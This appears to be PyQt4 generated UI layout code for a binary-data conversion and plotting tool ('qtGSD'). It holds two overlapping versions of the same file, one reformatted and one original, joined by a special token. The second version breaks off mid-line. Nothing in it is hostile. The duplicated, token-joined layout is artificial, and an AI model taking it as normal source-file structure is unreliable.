self.horizontalLayout_10.addWidget(self.filePathEdit_3) self.horizontalLayoutWidget_10 = QtGui.QWidget(self.groupBox) self.horizontalLayoutWidget_10.setGeometry(QtCore.QRect(17, 63, 592, 32)) self.horizontalLayoutWidget_10.setObjectName(_fromUtf8( 'horizontalLayoutWidget_10')) self.horizontalLayout_11 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_10) self.horizontalLayout_11.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_11.setObjectName(_fromUtf8('horizontalLayout_11') ) self.label_12 = QtGui.QLabel(self.horizontalLayoutWidget_10) self.label_12.setMinimumSize(QtCore.QSize(0, 30)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_12.setFont(font) self.label_12.setObjectName(_fromUtf8('label_12')) self.horizontalLayout_11.addWidget(self.label_12) self.browserButton_3 = QtGui.QPushButton(self.horizontalLayoutWidget_10 ) self.browserButton_3.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.browserButton_3.sizePolicy(). hasHeightForWidth()) self.browserButton_3.setSizePolicy(sizePolicy) self.browserButton_3.setMinimumSize(QtCore.QSize(80, 15)) self.browserButton_3.setObjectName(_fromUtf8('browserButton_3')) self.horizontalLayout_11.addWidget(self.browserButton_3) self.filePathEdit_5 = QtGui.QLineEdit(self.horizontalLayoutWidget_10) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.filePathEdit_5.sizePolicy(). hasHeightForWidth()) self.filePathEdit_5.setSizePolicy(sizePolicy) self.filePathEdit_5.setMinimumSize(QtCore.QSize(400, 30)) self.filePathEdit_5.setObjectName(_fromUtf8('filePathEdit_5')) self.horizontalLayout_11.addWidget(self.filePathEdit_5) self.runButton = QtGui.QPushButton(self.groupBox) self.runButton.setGeometry(QtCore.QRect(520, 140, 85, 50)) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.runButton.sizePolicy(). hasHeightForWidth()) self.runButton.setSizePolicy(sizePolicy) self.runButton.setMinimumSize(QtCore.QSize(80, 50)) self.runButton.setIconSize(QtCore.QSize(24, 24)) self.runButton.setObjectName(_fromUtf8('runButton')) self.verticalLayout.addWidget(self.groupBox) self.groupBox_2 = QtGui.QGroupBox(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy(). hasHeightForWidth()) self.groupBox_2.setSizePolicy(sizePolicy) self.groupBox_2.setMinimumSize(QtCore.QSize(100, 225)) font = QtGui.QFont() font.setBold(False) font.setItalic(False) font.setWeight(50) self.groupBox_2.setFont(font) self.groupBox_2.setAutoFillBackground(True) self.groupBox_2.setObjectName(_fromUtf8('groupBox_2')) self.horizontalLayoutWidget_4 = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget_4.setGeometry(QtCore.QRect(17, 25, 591, 32) ) self.horizontalLayoutWidget_4.setObjectName(_fromUtf8( 'horizontalLayoutWidget_4')) self.horizontalLayout_6 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_4) self.horizontalLayout_6.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_6.setObjectName(_fromUtf8('horizontalLayout_6')) self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_4) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_3.setFont(font) self.label_3.setObjectName(_fromUtf8('label_3')) self.horizontalLayout_6.addWidget(self.label_3) self.browserButton_4 = QtGui.QPushButton(self.horizontalLayoutWidget_4) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.browserButton_4.sizePolicy(). hasHeightForWidth()) self.browserButton_4.setSizePolicy(sizePolicy) self.browserButton_4.setObjectName(_fromUtf8('browserButton_4')) self.horizontalLayout_6.addWidget(self.browserButton_4) self.loadButton = QtGui.QPushButton(self.horizontalLayoutWidget_4) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.loadButton.sizePolicy(). hasHeightForWidth()) self.loadButton.setSizePolicy(sizePolicy) self.loadButton.setObjectName(_fromUtf8('loadButton')) self.horizontalLayout_6.addWidget(self.loadButton) self.filePathEdit_4 = QtGui.QLineEdit(self.horizontalLayoutWidget_4) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.filePathEdit_4.sizePolicy(). hasHeightForWidth()) self.filePathEdit_4.setSizePolicy(sizePolicy) self.filePathEdit_4.setMinimumSize(QtCore.QSize(300, 30)) self.filePathEdit_4.setObjectName(_fromUtf8('filePathEdit_4')) self.horizontalLayout_6.addWidget(self.filePathEdit_4) self.horizontalLayoutWidget_2 = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(17, 63, 481, 29) ) self.horizontalLayoutWidget_2.setObjectName(_fromUtf8( 'horizontalLayoutWidget_2')) self.horizontalLayout_2 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_2) self.horizontalLayout_2.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_2.setObjectName(_fromUtf8('horizontalLayout_2')) self.label_4 = QtGui.QLabel(self.horizontalLayoutWidget_2) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label_4.sizePolicy(). hasHeightForWidth()) self.label_4.setSizePolicy(sizePolicy) self.label_4.setObjectName(_fromUtf8('label_4')) self.horizontalLayout_2.addWidget(self.label_4) self.comboBox = QtGui.QComboBox(self.horizontalLayoutWidget_2) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.comboBox.sizePolicy(). hasHeightForWidth()) self.comboBox.setSizePolicy(sizePolicy) self.comboBox.setObjectName(_fromUtf8('comboBox')) self.horizontalLayout_2.addWidget(self.comboBox) self.plotButton = QtGui.QPushButton(self.horizontalLayoutWidget_2) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plotButton.sizePolicy(). hasHeightForWidth()) self.plotButton.setSizePolicy(sizePolicy) self.plotButton.setObjectName(_fromUtf8('plotButton')) self.horizontalLayout_2.addWidget(self.plotButton) self.horizontalLayoutWidget_3 = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(17, 100, 481, 29)) self.horizontalLayoutWidget_3.setObjectName(_fromUtf8( 'horizontalLayoutWidget_3')) self.horizontalLayout_3 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_3) self.horizontalLayout_3.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_3.setObjectName(_fromUtf8('horizontalLayout_3')) self.label_5 = QtGui.QLabel(self.horizontalLayoutWidget_3) self.label_5.setObjectName(_fromUtf8('label_5')) self.horizontalLayout_3.addWidget(self.label_5) self.comboBox_R1 = QtGui.QComboBox(self.horizontalLayoutWidget_3) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.comboBox_R1.sizePolicy(). hasHeightForWidth()) self.comboBox_R1.setSizePolicy(sizePolicy) self.comboBox_R1.setMinimumSize(QtCore.QSize(0, 0)) self.comboBox_R1.setObjectName(_fromUtf8('comboBox_R1')) self.horizontalLayout_3.addWidget(self.comboBox_R1) self.label = QtGui.QLabel(self.horizontalLayoutWidget_3) self.label.setEnabled(False) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.label.sizePolicy(). hasHeightForWidth()) self.label.setSizePolicy(sizePolicy) self.label.setMinimumSize(QtCore.QSize(30, 0)) self.label.setMaximumSize(QtCore.QSize(30, 29)) font = QtGui.QFont() font.setBold(True) font.setItalic(True) font.setUnderline(False) font.setWeight(75) self.label.setFont(font) self.label.setAutoFillBackground(True) self.label.setLineWidth(5) self.label.setAlignment(QtCore.Qt.AlignCenter) self.label.setObjectName(_fromUtf8('label')) self.horizontalLayout_3.addWidget(self.label) self.comboBox_R2 = QtGui.QComboBox(self.horizontalLayoutWidget_3) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.comboBox_R2.sizePolicy(). hasHeightForWidth()) self.comboBox_R2.setSizePolicy(sizePolicy) self.comboBox_R2.setObjectName(_fromUtf8('comboBox_R2')) self.horizontalLayout_3.addWidget(self.comboBox_R2) self.plotRangeButton = QtGui.QPushButton(self.horizontalLayoutWidget_3) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plotRangeButton.sizePolicy(). hasHeightForWidth()) self.plotRangeButton.setSizePolicy(sizePolicy) self.plotRangeButton.setObjectName(_fromUtf8('plotRangeButton')) self.horizontalLayout_3.addWidget(self.plotRangeButton) self.horizontalLayoutWidget_7 = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget_7.setGeometry(QtCore.QRect(17, 140, 481, 29)) self.horizontalLayoutWidget_7.setObjectName(_fromUtf8( 'horizontalLayoutWidget_7')) self.horizontalLayout_5 = QtGui.QHBoxLayout(self. horizontalLayoutWidget_7) self.horizontalLayout_5.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_5.setObjectName(_fromUtf8('horizontalLayout_5')) self.label_8 = QtGui.QLabel(self.horizontalLayoutWidget_7) self.label_8.setObjectName(_fromUtf8('label_8')) self.horizontalLayout_5.addWidget(self.label_8) self.comboBox_2 = QtGui.QComboBox(self.horizontalLayoutWidget_7) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy(). hasHeightForWidth()) self.comboBox_2.setSizePolicy(sizePolicy) self.comboBox_2.setObjectName(_fromUtf8('comboBox_2')) self.horizontalLayout_5.addWidget(self.comboBox_2) self.checkBox = QtGui.QCheckBox(self.horizontalLayoutWidget_7) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.checkBox.sizePolicy(). hasHeightForWidth()) self.checkBox.setSizePolicy(sizePolicy) self.checkBox.setObjectName(_fromUtf8('checkBox')) self.horizontalLayout_5.addWidget(self.checkBox) self.plotImageButton = QtGui.QPushButton(self.horizontalLayoutWidget_7) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plotImageButton.sizePolicy(). hasHeightForWidth()) self.plotImageButton.setSizePolicy(sizePolicy) self.plotImageButton.setMinimumSize(QtCore.QSize(80, 15)) self.plotImageButton.setObjectName(_fromUtf8('plotImageButton')) self.horizontalLayout_5.addWidget(self.plotImageButton) self.clearPlotButton = QtGui.QPushButton(self.groupBox_2) self.clearPlotButton.setGeometry(QtCore.QRect(520, 140, 85, 50)) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.clearPlotButton.sizePolicy(). hasHeightForWidth()) self.clearPlotButton.setSizePolicy(sizePolicy) self.clearPlotButton.setMinimumSize(QtCore.QSize(80, 50)) self.clearPlotButton.setObjectName(_fromUtf8('clearPlotButton')) self.horizontalLayoutWidget = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget.setGeometry(QtCore.QRect(17, 180, 481, 29)) self.horizontalLayoutWidget.setObjectName(_fromUtf8( 'horizontalLayoutWidget')) self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget) self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout.setObjectName(_fromUtf8('horizontalLayout')) self.label_9 = QtGui.QLabel(self.horizontalLayoutWidget) self.label_9.setObjectName(_fromUtf8('label_9')) self.horizontalLayout.addWidget(self.label_9) self.pushButton = QtGui.QPushButton(self.horizontalLayoutWidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.pushButton.sizePolicy(). hasHeightForWidth()) self.pushButton.setSizePolicy(sizePolicy) self.pushButton.setMinimumSize(QtCore.QSize(80, 15)) self.pushButton.setObjectName(_fromUtf8('pushButton')) self.horizontalLayout.addWidget(self.pushButton) self.plotStripsButton = QtGui.QPushButton(self.horizontalLayoutWidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui. QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.plotStripsButton.sizePolicy(). hasHeightForWidth()) self.plotStripsButton.setSizePolicy(sizePolicy) self.plotStripsButton.setMinimumSize(QtCore.QSize(80, 15)) self.plotStripsButton.setObjectName(_fromUtf8('plotStripsButton')) self.horizontalLayout.addWidget(self.plotStripsButton) self.verticalLayout.addWidget(self.groupBox_2) MainWindow.setCentralWidget(self.centralwidget) self.statusbar = QtGui.QStatusBar(MainWindow) self.statusbar.setObjectName(_fromUtf8('statusbar')) MainWindow.setStatusBar(self.statusbar) self.toolBar = QtGui.QToolBar(MainWindow) self.toolBar.setObjectName(_fromUtf8('toolBar')) MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar) self.menuBar = QtGui.QMenuBar(MainWindow) self.menuBar.setGeometry(QtCore.QRect(0, 0, 661, 22)) self.menuBar.setObjectName(_fromUtf8('menuBar')) MainWindow.setMenuBar(self.menuBar) self.actionOpen = QtGui.QAction(MainWindow) self.actionOpen.setVisible(True) self.actionOpen.setObjectName(_fromUtf8('actionOpen')) self.actionQuit = QtGui.QAction(MainWindow) self.actionQuit.setObjectName(_fromUtf8('actionQuit')) self.retranslateUi(MainWindow) QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): MainWindow.setWindowTitle(_translate('MainWindow', 'MainWindow', None)) self.groupBox_3.setTitle(_translate('MainWindow', 'PLOT WINDOW', None)) self.groupBox.setTitle(_translate('MainWindow', ' BINARY DATA CONVERSION', None)) self.label_7.setText(_translate('MainWindow', ' OUTPUT FILE ', None)) self.browserButton_7.setText(_translate('MainWindow', 'Browse', None)) self.filePathEdit_7.setText(_translate('MainWindow', 'D:\\detdev\\maia\\python\\', None)) self.label_11.setText(_translate('MainWindow', ' DECODER FILE', None)) self.browserButton.setText(_translate('MainWindow', 'Browse', None)) self.filePathEdit_3.setText(_translate('MainWindow', 'D:\\detdev\\maia\\python\\qtGSD\\gsd_parse.out', None)) self.label_12.setText(_translate('MainWindow', ' INPUT FILE ', None)) self.browserButton_3.setText(_translate('MainWindow', 'Browse', None)) self.filePathEdit_5.setText(_translate('MainWindow', 'D:\\detdev\\maia\\python\\', None)) self.runButton.setText(_translate('MainWindow', 'Run', None)) self.groupBox_2.setTitle(_translate('MainWindow', ' PLOT DATA', None)) self.label_3.setText(_translate('MainWindow', ' DATA FILE ', None)) self.browserButton_4.setText(_translate('MainWindow', 'Browse', None)) self.loadButton.setText(_translate('MainWindow', 'Load', None)) self.filePathEdit_4.setText(_translate('MainWindow', 'D:\\detdev\\maia\\python\\', None)) self.label_4.setText(_translate('MainWindow', ' PLOT STRIP ', None)) self.plotButton.setText(_translate('MainWindow', 'Plot', None)) self.label_5.setText(_translate('MainWindow', ' PLOT SERIES', None)) self.label.setText(_translate('MainWindow', 'to', None)) self.plotRangeButton.setText(_translate('MainWindow', 'Plot', None)) self.label_8.setText(_translate('MainWindow', ' PLOT SPECTRA AS 2-D IMAGE', None)) self.checkBox.setText(_translate('MainWindow', 'Log', None)) self.plotImageButton.setText(_translate('MainWindow', 'Plot Image', None)) self.clearPlotButton.setText(_translate('MainWindow', 'Clear', None)) self.label_9.setText(_translate('MainWindow', ' PLOT TOTAL COUNTS vs STRIP', None)) self.pushButton.setText(_translate('MainWindow', 'Update', None)) self.plotStripsButton.setText(_translate('MainWindow', 'Plot Strips', None)) self.toolBar.setWindowTitle(_translate('MainWindow', 'toolBar', None)) self.actionOpen.setText(_translate('MainWindow', 'Open', None)) self.actionQuit.setText(_translate('MainWindow', 'Quit', None)) <|reserved_special_token_1|> # -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'qtGSD_DESIGN.ui' # # Created by: PyQt4 UI code generator 4.11.4 # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore, QtGui try: _fromUtf8 = QtCore.QString.fromUtf8 except AttributeError: def _fromUtf8(s): return s try: _encoding = QtGui.QApplication.UnicodeUTF8 def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig, _encoding) except AttributeError: def _translate(context, text, disambig): return QtGui.QApplication.translate(context, text, disambig) class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName(_fromUtf8("MainWindow")) MainWindow.resize(661, 728) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(MainWindow.sizePolicy().hasHeightForWidth()) MainWindow.setSizePolicy(sizePolicy) MainWindow.setMinimumSize(QtCore.QSize(100, 100)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) MainWindow.setFont(font) MainWindow.setAutoFillBackground(False) MainWindow.setTabShape(QtGui.QTabWidget.Rounded) self.centralwidget = QtGui.QWidget(MainWindow) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy().hasHeightForWidth()) self.centralwidget.setSizePolicy(sizePolicy) self.centralwidget.setMinimumSize(QtCore.QSize(100, 100)) self.centralwidget.setMaximumSize(QtCore.QSize(1000, 1000)) self.centralwidget.setObjectName(_fromUtf8("centralwidget")) self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget) self.verticalLayout.setObjectName(_fromUtf8("verticalLayout")) self.groupBox_3 = QtGui.QGroupBox(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy().hasHeightForWidth()) self.groupBox_3.setSizePolicy(sizePolicy) font = QtGui.QFont() font.setBold(False) font.setItalic(False) font.setWeight(50) self.groupBox_3.setFont(font) self.groupBox_3.setLayoutDirection(QtCore.Qt.LeftToRight) self.groupBox_3.setAutoFillBackground(True) self.groupBox_3.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter) self.groupBox_3.setObjectName(_fromUtf8("groupBox_3")) self.gridLayout = QtGui.QGridLayout(self.groupBox_3) self.gridLayout.setSizeConstraint(QtGui.QLayout.SetNoConstraint) self.gridLayout.setObjectName(_fromUtf8("gridLayout")) self.MainVertLayout = QtGui.QVBoxLayout() self.MainVertLayout.setSizeConstraint(QtGui.QLayout.SetMaximumSize) self.MainVertLayout.setContentsMargins(-1, 10, -1, -1) self.MainVertLayout.setSpacing(0) self.MainVertLayout.setObjectName(_fromUtf8("MainVertLayout")) self.gridLayout.addLayout(self.MainVertLayout, 0, 0, 1, 1) self.verticalLayout.addWidget(self.groupBox_3) self.groupBox = QtGui.QGroupBox(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.groupBox.sizePolicy().hasHeightForWidth()) self.groupBox.setSizePolicy(sizePolicy) self.groupBox.setMinimumSize(QtCore.QSize(100, 200)) font = QtGui.QFont() font.setBold(False) font.setItalic(False) font.setWeight(50) self.groupBox.setFont(font) self.groupBox.setWhatsThis(_fromUtf8("")) self.groupBox.setObjectName(_fromUtf8("groupBox")) self.horizontalLayoutWidget_6 = QtGui.QWidget(self.groupBox) self.horizontalLayoutWidget_6.setGeometry(QtCore.QRect(17, 101, 594, 32)) self.horizontalLayoutWidget_6.setObjectName(_fromUtf8("horizontalLayoutWidget_6")) self.horizontalLayout_9 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_6) self.horizontalLayout_9.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_9.setObjectName(_fromUtf8("horizontalLayout_9")) self.label_7 = QtGui.QLabel(self.horizontalLayoutWidget_6) self.label_7.setMinimumSize(QtCore.QSize(0, 30)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_7.setFont(font) self.label_7.setObjectName(_fromUtf8("label_7")) self.horizontalLayout_9.addWidget(self.label_7) self.browserButton_7 = QtGui.QPushButton(self.horizontalLayoutWidget_6) self.browserButton_7.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.browserButton_7.sizePolicy().hasHeightForWidth()) self.browserButton_7.setSizePolicy(sizePolicy) self.browserButton_7.setMinimumSize(QtCore.QSize(80, 15)) self.browserButton_7.setObjectName(_fromUtf8("browserButton_7")) self.horizontalLayout_9.addWidget(self.browserButton_7) self.filePathEdit_7 = QtGui.QLineEdit(self.horizontalLayoutWidget_6) self.filePathEdit_7.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.filePathEdit_7.sizePolicy().hasHeightForWidth()) self.filePathEdit_7.setSizePolicy(sizePolicy) self.filePathEdit_7.setMinimumSize(QtCore.QSize(400, 30)) self.filePathEdit_7.setObjectName(_fromUtf8("filePathEdit_7")) self.horizontalLayout_9.addWidget(self.filePathEdit_7) self.horizontalLayoutWidget_9 = QtGui.QWidget(self.groupBox) self.horizontalLayoutWidget_9.setGeometry(QtCore.QRect(17, 25, 592, 32)) self.horizontalLayoutWidget_9.setObjectName(_fromUtf8("horizontalLayoutWidget_9")) self.horizontalLayout_10 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_9) self.horizontalLayout_10.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_10.setObjectName(_fromUtf8("horizontalLayout_10")) self.label_11 = QtGui.QLabel(self.horizontalLayoutWidget_9) self.label_11.setMinimumSize(QtCore.QSize(0, 30)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_11.setFont(font) self.label_11.setObjectName(_fromUtf8("label_11")) self.horizontalLayout_10.addWidget(self.label_11) self.browserButton = QtGui.QPushButton(self.horizontalLayoutWidget_9) self.browserButton.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.browserButton.sizePolicy().hasHeightForWidth()) self.browserButton.setSizePolicy(sizePolicy) self.browserButton.setMinimumSize(QtCore.QSize(80, 15)) self.browserButton.setObjectName(_fromUtf8("browserButton")) self.horizontalLayout_10.addWidget(self.browserButton) self.filePathEdit_3 = QtGui.QLineEdit(self.horizontalLayoutWidget_9) self.filePathEdit_3.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.filePathEdit_3.sizePolicy().hasHeightForWidth()) self.filePathEdit_3.setSizePolicy(sizePolicy) self.filePathEdit_3.setMinimumSize(QtCore.QSize(400, 30)) self.filePathEdit_3.setObjectName(_fromUtf8("filePathEdit_3")) self.horizontalLayout_10.addWidget(self.filePathEdit_3) self.horizontalLayoutWidget_10 = QtGui.QWidget(self.groupBox) self.horizontalLayoutWidget_10.setGeometry(QtCore.QRect(17, 63, 592, 32)) self.horizontalLayoutWidget_10.setObjectName(_fromUtf8("horizontalLayoutWidget_10")) self.horizontalLayout_11 = QtGui.QHBoxLayout(self.horizontalLayoutWidget_10) self.horizontalLayout_11.setSizeConstraint(QtGui.QLayout.SetFixedSize) self.horizontalLayout_11.setObjectName(_fromUtf8("horizontalLayout_11")) self.label_12 = QtGui.QLabel(self.horizontalLayoutWidget_10) self.label_12.setMinimumSize(QtCore.QSize(0, 30)) font = QtGui.QFont() font.setBold(False) font.setWeight(50) self.label_12.setFont(font) self.label_12.setObjectName(_fromUtf8("label_12")) self.horizontalLayout_11.addWidget(self.label_12) self.browserButton_3 = QtGui.QPushButton(self.horizontalLayoutWidget_10) self.browserButton_3.setEnabled(True) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.browserButton_3.sizePolicy().hasHeightForWidth()) self.browserButton_3.setSizePolicy(sizePolicy) self.browserButton_3.setMinimumSize(QtCore.QSize(80, 15)) self.browserButton_3.setObjectName(_fromUtf8("browserButton_3")) self.horizontalLayout_11.addWidget(self.browserButton_3) self.filePathEdit_5 = QtGui.QLineEdit(self.horizontalLayoutWidget_10) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.filePathEdit_5.sizePolicy().hasHeightForWidth()) self.filePathEdit_5.setSizePolicy(sizePolicy) self.filePathEdit_5.setMinimumSize(QtCore.QSize(400, 30)) self.filePathEdit_5.setObjectName(_fromUtf8("filePathEdit_5")) self.horizontalLayout_11.addWidget(self.filePathEdit_5) self.runButton = QtGui.QPushButton(self.groupBox) self.runButton.setGeometry(QtCore.QRect(520, 140, 85, 50)) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.runButton.sizePolicy().hasHeightForWidth()) self.runButton.setSizePolicy(sizePolicy) self.runButton.setMinimumSize(QtCore.QSize(80, 50)) self.runButton.setIconSize(QtCore.QSize(24, 24)) self.runButton.setObjectName(_fromUtf8("runButton")) self.verticalLayout.addWidget(self.groupBox) self.groupBox_2 = QtGui.QGroupBox(self.centralwidget) sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy().hasHeightForWidth()) self.groupBox_2.setSizePolicy(sizePolicy) self.groupBox_2.setMinimumSize(QtCore.QSize(100, 225)) font = QtGui.QFont() font.setBold(False) font.setItalic(False) font.setWeight(50) self.groupBox_2.setFont(font) self.groupBox_2.setAutoFillBackground(True) self.groupBox_2.setObjectName(_fromUtf8("groupBox_2")) self.horizontalLayoutWidget_4 = QtGui.QWidget(self.groupBox_2) self.horizontalLayoutWidget_4.setGeometry(QtCore.QRect(17, 25, 591, 32)) self.horizontalLayoutWidget_4.setObjectName(_fromUtf8("horizontalLayoutWidget_4")) self.horizontalLayout_6 = 